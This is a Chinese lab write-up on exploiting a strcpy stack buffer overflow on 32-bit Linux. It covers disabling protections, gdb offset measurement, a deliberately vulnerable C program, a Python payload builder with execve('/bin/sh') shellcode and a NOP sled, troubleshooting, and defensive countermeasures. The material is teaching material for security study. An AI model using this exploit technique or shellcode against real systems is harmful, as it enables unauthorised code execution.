做软件安全实验,缓冲区溢出几乎是绕不过去的一关。lab5 这一节任务很直接:利用strcpy在栈上复制数据时不检查边界,把返回地址覆盖成我们想要的位置,然后让程序跳进 shellcode,完成一次完整的控制流劫持。我第一次把这段流程跑通时,确实有“原来如此”的感觉。这篇文章就围绕这个实验,把栈布局、编译选项、payload 构造、gdb 调试和常见坑一条条拆开讲,适合正在做同类实验、想搞懂缓冲区溢出底层原理的同学参考。实验环境是我自己的虚拟机,所有操作都只针对本地编写的测试程序,没有涉及任何外部系统。
1. 实验整体设计与安全边界
1.1 这个实验到底复现了什么
缓冲区溢出(Buffer Overflow)在现在的安全教材里已经不算新鲜概念,但亲手把它跑出来和只看 PPT 是完全两回事。lab5 的核心目标可以拆成三件事:第一,理解程序在调用strcpy之后,栈上的数据是怎么排列的;第二,通过超出目标缓冲区长度的输入,覆盖到函数返回地址;第三,让程序ret的时候跳到一段我们自己构造的机器码上,也就是 shellcode。
这个过程本质上是在回答一个问题:如果程序完全不检查输入长度,攻击者能控制到哪一步?答案不是“程序崩溃”,而是“程序的控制流可以被劫持到任意位置”。strcpy是其中最有代表性的函数,因为它太常见、太简单、也没有任何长度参数,可以说是一把非常典型的钥匙。通过这个小实验,你能把汇编层面的call、ret、栈帧、内存布局这些原本抽象的概念全部串起来。
我建议你在做实验前先想清楚:这个实验不是教你如何攻击某台服务器,而是让你理解漏洞产生的底层原因。只有把原理吃透,后续做防御设计、代码审计、漏洞挖掘时才有真正的判断力。
1.2 为什么选 strcpy 作为靶子
strcpy(dest, src)的语义很简单:把src指向的字符串一个个复制到dest指向的内存里,直到碰到\0为止。它不接收长度参数,无法告诉它“目标缓冲区只有 64 字节,最多复制 63 个字符”。所以只要src足够长,它就会一直写下去,直到越过dest的边界。
对比一下其他函数就能明白这个函数为什么危险:
| 函数 | 是否指定长度 | 典型风险 |
|---|---|---|
strcpy(dest, src) | 否 | 无条件复制直到\0,溢出窗口最大 |
strncpy(dest, src, n) | 是,但方式粗糙 | 截断后可能不补\0,且调用者可能传错长度 |
memcpy(dest, src, n) | 是 | 正确,但长度计算错误时同样会溢出 |
gets(buf) | 否 | 同样危险,但依赖标准输入,实验场景不如strcpy通用 |
很多实验课喜欢用gets演示缓冲区溢出,但实际代码里strcpy的出现频率比gets高得多。用strcpy做靶子更贴近真实情况:某个函数把外部输入直接丢给strcpy,没有校验长度,于是栈被改写。理解这个场景,比单纯调gets更有现实意义。
1.3 实验环境与必须关闭的保护机制
现在的编译器和操作系统默认带了一堆安全防护,如果不做处理,直接编译运行基本会在第一步就失败。这不是漏洞不存在,而是防护机制把漏洞挡住了。为了在可控环境中复现,需要主动关闭四项保护:栈保护(Stack Canary)、栈不可执行(NX)、地址随机化(ASLR)和位置无关可执行(PIE)。
我的实验环境是本地一台 32 位 Linux 虚拟机,使用gcc编译。为什么用 32 位?因为 32 位下栈地址通常落在0xffffxxxx附近,地址短、构造 payload 方便;64 位下地址空间大,shellcode 里还涉及地址截断问题,新手容易一头雾水。先把 32 位跑通,再考虑 64 位是完全合理的进阶路线。
需要的保护关闭方式如下:
- Stack Canary:编译时加
-fno-stack-protector,关闭栈保护。 - NX:编译时加
-z execstack,允许栈上的代码执行。 - ASLR:运行前执行
echo 0 > /proc/sys/kernel/randomize_va_space,关闭栈地址随机化,需要 root 权限。 - PIE:编译时加
-no-pie,固定程序加载地址。
这几项都只应该在实验环境里关,尤其是 ASLR,真实系统的随机化是很有价值的防线。我一般把这一步当作实验契约:关闭防护是为了让漏洞能被稳定观察到,而不是说现实系统里的漏洞就是这么好利用。
1.4 实验的边界与安全提醒
这个实验会构造可执行的 shellcode,本质上是一段“坏代码”。如果你把它拿到没有授权的机器上跑,那就是越界行为了。在我自己操作时,全程只在实验虚拟机里进行,漏洞程序是专门写的,payload 也只输入到自己写的程序里。文章的定位是教学复盘,不是攻击教程。
还要提醒一点:如果实验室的网络环境里有其他敏感设备,务必先断网或采用隔离虚拟网络再做实验。安全实验的核心原则是“靶场归靶场,生产归生产”。
2. 栈帧、strcpy 和返回地址覆盖的原理
2.1 函数调用后栈上的真实布局
在 x86 32 位体系里,函数调用涉及两个关键指令:call和ret。执行call时,CPU 会把当前指令的下一条地址压栈,作为返回地址;函数返回时,ret会从栈顶弹出这个地址,跳转回去。问题就出在这个“返回地址”藏得很深,普通程序员不容易意识到它其实就在局部变量旁边。
以char buf[64]为例,函数入口附近的栈布局如下,地址从高向低增长,而strcpy的复制方向是从低地址向高地址:
内存地址增加方向 ----------------------------> 高地址 [调用者的栈帧] [返回地址] <- 覆盖这里就能控制程序跳转 [保存的 ebp] <- 4 字节 [buf[63]] ... [buf[0]] <- strcpy 从这里开始写 低地址当strcpy(buf, arg)开始执行时,它从buf[0]开始写。如果我们输入了超过 64 字节的内容,多出来的字节就会依次覆盖保存的 ebp、返回地址。一旦程序执行到函数末尾的ret,CPU 就会从已经被改写的返回地址位置弹出数据,然后跳过去。这就是最朴素的“栈溢出劫持返回地址”。
很多初学者卡在“为什么不是直接覆盖代码段”这个问题上。其实我们改的不是正在执行的指令,而是数据。栈上的数据被改写了,等到ret把这些数据当成指令地址时,程序的控制流就被带跑了。这是数据与指令之间信任关系的漏洞。
2.2 strcpy 的溢出到底发生在哪一步
strcpy在汇编层面做的事情很简单:循环从源地址取一个字节,写入目标地址,直到遇到\0。它完全没有“目标还剩多少空间”的概念。所以只要源字符串长度大于目标缓冲区长度,就会产生越界写。
需要特别注意的是,strcpy遇到\0就会停止,这也决定了 payload 的构造要求。shellcode 本身通常不能包含\0字节,否则会被strcpy当作字符串结尾,后面的攻击字节全部无效。返回地址的每个字节同样不能为0x00,这一点在后面构造 payload 时非常关键。
为什么不能用更大的缓冲区?因为漏洞的本质是复制长度不受控。假设buf是 128 字节,输入 200 字节同样会溢出。缓冲区大小只会影响溢出需要的前缀长度,不会改变漏洞存在与否。理解这一点后,你自然会明白:修复这类漏洞的唯一靠谱方式是在调用侧做长度限制,而不是依赖“缓冲区很大所以没事”。
2.3 返回地址偏移:不要背 64+4,要用 gdb 实测
网上很多资料会直接告诉你“64 字节缓冲区,所以填充长度是 68”。这通常是对的,前提是编译器没有额外 padding。但不同 GCC 版本、不同优化级别,甚至同一个函数里其他局部变量,都可能改变偏移量。我见过不少同学直接抄 68,结果跑了好几天段错误,最后发现栈上多了 8 字节 padding。
正确做法是到 gdb 里实测。断点打在vulnerable()入口,查看$ebp和&buf,两者之差就是从buf到保存的 ebp的距离,再加 4 就是到返回地址的偏移。
offset_to_retaddr = (unsigned)$ebp - (unsigned)&buf + 4下面是一段真实实验里的输出样式:
(gdb) p/x $ebp $1 = 0xffffd240 (gdb) p/x &buf $2 = 0xffffd200 (gdb) p/x $ebp - (unsigned)&buf $3 = 0x40这里的0x40就是 64,所以返回地址偏移是64 + 4 = 68。如果你的输出是0x48,那说明编译器给自己留了 8 字节 padding,偏移就应该是72 + 4 = 76。不要背数字,背方法。
另外,&buf的地址本身也很有用。这个地址就是整个攻击的“着陆点”参考。我们后续要把返回地址设置为栈上的某个位置,大概率就是从&buf加一个偏移得到的。
2.4 shellcode、NOP 雪橇和 payload 布局
有了偏移量,下一步就是设计 payload。常规布局是:
低地址 高地址 [NOP x N][shellcode][padding][返回地址]- NOP sled:一堆
0x90指令,什么都不做,只是滑到下一条指令。这样即使返回地址没有精确指向 shellcode 开头,只要落在 NOP 区域,就会一路滑进 shellcode,提高成功率。 - shellcode:真正要执行的机器码,长度越短越好,且不能包含
\0。 - padding:用来把缓冲区填到偏移位置。
- 返回地址:覆盖到偏移处的 4 字节,指向 NOP sled 的某个位置。
如果不加 NOP sled,返回地址必须精确等于 shellcode 的首地址。多一个字节或少一个字节都可能崩溃。加了 NOP sled 之后,容错范围就扩大了。比如buf在0xffffd200,返回地址指向0xffffd214,只要从0xffffd200到0xffffd213都铺满 NOP,就能顺利滑到后面的 shellcode。
这也是为什么 payload 布局里 NOP 一定放在 shellcode 前面。CPU 从栈上低地址向高地址执行,必须让它先滑一段,再进入真正的 shellcode。
2.5 为什么 shellcode 和返回地址都不能有 0x00
这是一个非常实战的问题。strcpy以\0为字符串结束标志,所以 payload 里只要出现\0,后面全部被丢弃。构造 shellcode 时要用不包含空字节的编码,这也是为什么网上很多 shellcode 看起来是一串奇怪的十六进制指令。返回地址同理,4 个字节里任何一个都不能是\x00。
栈地址往往形如0xffffd200,如果直接用它作为返回地址,小端序写出来是\x00\xd2\xff\xff,第一个字节就是\x00,payload 会被截断。解决办法是选择一个“低字节不为 0”的地址。比如&buf + 20得到0xffffd214,写成\x14\xd2\xff\xff,四个字节都不是 0,就可以安全放入 payload。
这个细节看起来很小,但在实验里极其常见。第一次跑通之前,我花在排查\0上的时间比理解栈布局的时间还多。只要记住这个原则,后面会顺利很多。
3. 一次完整的 Buffer Overflow 实验记录
3.1 编写一个故意留洞的程序
实验目标程序不需要复杂,只需要一个把外部参数直接复制进栈缓冲区的函数。我用的代码如下:
#include <stdio.h> #include <string.h> void vulnerable(char *arg) { char buf[64]; strcpy(buf, arg); printf("copied: %s\n", buf); } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <input>\n", argv[0]); return 1; } vulnerable(argv[1]); return 0; }argv[1]是用户可控输入,buf只有 64 字节,strcpy没有任何长度限制。程序逻辑很简单:输入超过 64 字节后,直接破坏栈上的保存的 ebp和返回地址。
注意这里我没有用gets,而是用参数传入。这样更贴近真实场景:一部分业务系统会把用户输入作为字符串参数传给处理函数。同时,以参数形式传 payload 也让我们能更直接地验证stpcpy对\0的敏感问题。
3.2 编译命令逐项解释
编译命令如下:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c-m32:编译成 32 位程序。64 位系统上编译 32 位程序需要安装 32 位 libc 开发包,不同发行版包名不同,装好即可。-fno-stack-protector:关闭栈保护,也就是不插入 canary。-z execstack:把栈标记为可执行,允许 shellcode 在栈上运行。-no-pie:关闭 PIE,让程序加载地址固定。
如果是在 64 位系统里跑 32 位程序,可能还需要额外的运行库,这个根据具体发行版解决。编译完成后可以用下面的命令确认栈是否可执行:
readelf -l vuln | grep GNU_STACK正常输出里应该能看到RWX标志。如果只有RW,说明-z execstack没有生效,shellcode 会直接段错误。
运行前还必须关闭 ASLR。我在环境里用的是:
echo 0 > /proc/sys/kernel/randomize_va_space这条命令需要 root 权限,并且只对当前启动状态生效。如果你不想动系统全局配置,也可以用setarch -R ./vuln ...来关闭单次运行的地址随机化。
3.3 用 GDB 确定返回地址偏移和跳转目标
编译完先不要急着构造 payload,先到 gdb 里拿两个关键数据:偏移量和buf地址。
gdb -q ./vuln (gdb) set disable-randomization on (gdb) break vulnerable (gdb) run AAAA (gdb) p/x $ebp (gdb) p/x &buf (gdb) p/x $ebp - (unsigned)&buf在我这里,$ebp是0xffffd240,&buf是0xffffd200,差值为0x40,所以偏移是68。buf首地址低字节是0x00,直接作为跳转目标会有\0问题。我选择&buf + 20,也就是0xffffd214,低字节是0x14,没有空字节。
这里多一点说明:set disable-randomization on是让 gdb 内部的 ASLR 也关闭,这样调试时看到的地址和关闭 ASLR 后外部运行时更接近。但 gdb 的环境变量与 shell 环境变量可能不完全一样,所以如果外部运行不成功,后面会提到排查方法。
3.4 用 Python 生成 payload
我习惯用一条 Python 命令生成 payload 文件。下面这段脚本构造了一个 72 字节的 payload:20 字节 NOP、23 字节 shellcode、25 字节 padding、4 字节返回地址。
import struct buf_addr = 0xffffd200 target = buf_addr + 20 # 0xffffd214,低字节非0 # execve("/bin/sh", NULL, NULL) 的 23 字节 shellcode,不含空字节 shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" offset = 68 payload = b"\x90" * 20 payload += shellcode payload += b"A" * (offset - len(payload)) payload += struct.pack("<I", target) with open("payload", "wb") as f: f.write(payload) print("payload length:", len(payload))脚本里把返回地址设置为target = 0xffffd214。这个地址落在 20 字节 NOP 区域的后半段。CPU 从该地址开始执行,先跑几条 NOP,然后进入 shellcode,最终调用execve("/bin/sh")打开一个 shell。
如果你的buf_addr不同,不要直接套用,需要重新计算一个低字节非 0 的 target。核心是:
target = buf_addr + n low_byte(target) != 0 n 必须落在 NOP 区域内且 shellcode 之前在 NOP 中3.5 验证效果
payload 生成后,运行漏洞程序:
./vuln "$(cat payload)"如果一切正常,你会看到copied: ...后面跟着一段乱码,然后程序没有正常退出,而是进入了一个新的 shell。在这个 shell 里执行id或whoami,就能确认控制流已经被劫持成功。
我在实验里的典型输出是这样的:
copied: 90... AAAAA... $ id uid=1000(exp) gid=1000(exp) groups=1000(exp)出现$提示符就说明execve("/bin/sh")执行成功。完成验证后输入exit退出,回到实验环境。
这一步成功后,建议再回去把offset改错一两个字节试试,观察程序崩溃方式。只有亲手看到“错一位就段错误”,才能真正理解对齐的重要性。
4. 常见问题与排查技巧速查
4.1 一跑就段错误
段错误是这个实验里最常见的现象,原因也最多。首先要确认偏移量是否正确。用 gdb 里的$ebp - &buf + 4去算,别直接用网上的数。其次确认返回地址是不是指向了可执行区域,检查编译时有没有加-z execstack。第三,确认 ASLR 确实关了,否则每次运行地址都不一样,返回地址可能只对某一次有效。
排查时我一般这样走一遍:
readelf -l vuln | grep GNU_STACK cat /proc/sys/kernel/randomize_va_space gdb -q ./vulnrandomize_va_space输出应为 0,GNU_STACK应包含RWX。两者都正常后才开始看 payload。
4.2 GDB 里成功,退出 GDB 就失败
这是环境差异导致的典型问题。gdb 里set disable-randomization on会固定栈地址,但 gdb 自身的环境变量、argv 长度都可能和外部 shell 不同,导致buf的真实地址和 gdb 里差几十字节。外部运行时因为 ASLR 关闭,地址是固定的,但差这几十字节就可能让返回地址落不到 NOP 区域里。
解决办法有几个:一是直接用 gdb 运行 payload,验证逻辑是否通;二是统一启动环境,比如两边都用env -i;三是根据外部崩溃时的核心转储信息反推实际栈地址,重新计算 target。
我个人更推荐先接受“gdb 地址只做参考”这个事实,然后重点把 NOP sled 设计得大一些,提高容错。如果 NOP 区域有 30~40 字节,环境差异只要不是太大,就能覆盖住。
4.3 shellcode 被截断
如果程序打印的copied:内容明显比 payload 短,说明 payload 在某个位置碰到了\0,strcpy提前结束了。检查所有字节:shellcode 不能有\0,返回地址不能有\0,尾部 padding 也不要用包含\0的字符。
有同学会问:我明明看到 payload 文件里有完整字节,为什么程序只复制了一半?因为strcpy处理的是 C 字符串,从 argv 传进来时系统已经以\0作为字符串终点。payload 文件里的字节没问题,但作为 C 字符串传进程序后,第一个\0就是终点。 所以一定要保证从 payload 开头到返回地址末尾的每个字节都不为 0。
4.4 跳转目标对不齐
跳转目标不是越靠前越好。如果返回地址直接指向 shellcode 中间某条指令的中间字节,CPU 解码会乱掉。正确做法是用 NOP sled 包裹 shellcode,让 target 落在 NOP 中间。在计算 target 时,除了避开\0,还要确保它离 shellcode 开头有足够 NOP 余量。我自己一般要求 target 到 shellcode 开头至少还有 8~16 个 NOP。
另外,buf_addr本身可能是 4 字节对齐的,加上一个非 4 的倍数偏移也没关系,因为 x86 指令不需要严格对齐。不要为了对齐而牺牲低字节非 0 的条件。
4.5 排查速查表
| 症状 | 可能原因 | 排查命令 / 动作 |
|---|---|---|
| 程序直接段错误 | 偏移不对 / NX 未关闭 / ASLR 未关闭 | 重新用 gdb 测量偏移,确认-z execstack |
| gdb 成功,外部失败 | gdb 与 shell 环境地址不一致 | 统一环境变量,或直接在 gdb 里验证 |
| 复制长度变短 | payload 中含\0字节 | 逐字节检查返回地址和 shellcode |
| 跳转后崩溃 | target 落在错误位置 | 增大 NOP sled,检查 target 是否在 NOP 区域 |
| 没有进入 shell,只是继续跑 | 返回地址没有覆盖成功 | 检查 offset 是否多算/少算,查看ret地址 |
5. 从攻击角度反推防御设计
5.1 Stack Canary 怎么拦住这次攻击
Stack Canary 是编译器在局部变量和返回地址之间插入的一个随机值。函数调用前写入,返回前检查。如果攻击者的溢出把它覆盖了,检查就会失败,程序直接中止。我们在编译时用-fno-stack-protector把它关掉,实验才能顺利进行。
在真实代码里,Canary 的作用是让“直接覆盖返回地址”这条路变得非常困难。攻击者必须首先找到一个能泄露 Canary 值的信息漏洞,否则无法构造完整的 payload。这也是现代漏洞利用里,单靠一个栈溢出漏洞往往无法直接打穿系统的原因之一。
5.2 NX 让栈变“不可执行”
NX/DEP 的核心思想是标记内存页属性:栈可以读写,但不能执行。即使返回地址被覆盖,CPU 跳到栈上也无法执行 shellcode。我们在实验里用-z execstack开放了执行权限,所以 shellcode 能跑起来。
真实系统默认不会让栈可执行。攻击者面对 NX 时通常需要转向 ROP(返回导向编程),也就是复用程序里已有的代码片段,把多个ret指令串起来完成恶意操作。ROP 并不需要栈可执行,只需要栈上有精心布置的返回地址链。这比直接注入 shellcode 复杂一个数量级。
5.3 ASLR 让地址不再是固定值
ASLR 让栈地址、库地址、堆地址在每次运行时都随机变化。没有 ASLR 时,攻击者可以像实验里一样,在 gdb 里拿到一个固定地址直接写进 payload。启用 ASLR 后,同一个 payload 前一次能跳到 target,后一次就跳到别处,大概率直接崩溃。
不过 ASLR 不是银弹。如果程序存在信息泄露漏洞,比如格式化字符串或越界读,攻击者仍然可能实时拿到当前栈地址,再配合溢出完成利用。所以现代防御讲究的是多层组合,而不是靠某一个开关。
5.4 防御性编码:别让 strcpy 当主角
从这一整段实验往回看,最根本的问题还是代码层面。strcpy把“长度决策”完全交给了调用者,任何调用者算错一步,都是漏洞。防御性编码的第一原则是:除非你能严格证明目标缓冲区足够大,否则别用strcpy。
或者用带长度限制的strncpy,但也要小心截断和\0补全问题。更现代的做法是使用安全库或容器,很多语言和框架直接杜绝了这种手动复制。写 C 代码时,编译器提供的-D_FORTIFY_SOURCE=2和-fstack-protector-strong也能增加一层保护,但这不能替代正确的长度校验。
简单说,实验让你看到攻击能走多深,也让代码防御者知道该守在哪里。守住了strcpy这个入口,后面很多攻防都无从谈起。
5.5 真实攻击为什么比实验复杂得多
这个实验能成功,前提是提前关闭了所有保护,并且把返回地址算得准准的。真实系统里,Canary、ASLR、NX、PIE、RELRO 组合在一起,每一个都像一道过滤器。攻击者需要先做信息泄露、绕过 ASLR、找到合适的 ROP gadget,可能还需要处理沙箱和权限限制。
所以不要把这个实验理解为“现实攻击就是这么简单”,而应该理解为一个放大镜:它把漏洞利用最底层的机制放大给你看。只有先把这一层看透,后面接触 ROP、heap exploitation、内核利用时才不会空中楼阁。
这个 lab5 做完,我最深的体会是:漏洞利用的本质就是计算机不检查假设。strcpy假设目标够大,程序假设返回地址不会被修改,栈假设可执行;一个实验把这些假设逐个击破。后续如果再有人问我缓冲区溢出怎么防,我会先让他把这个实验跑一遍——理解了攻击,才知道防御要断在哪一层。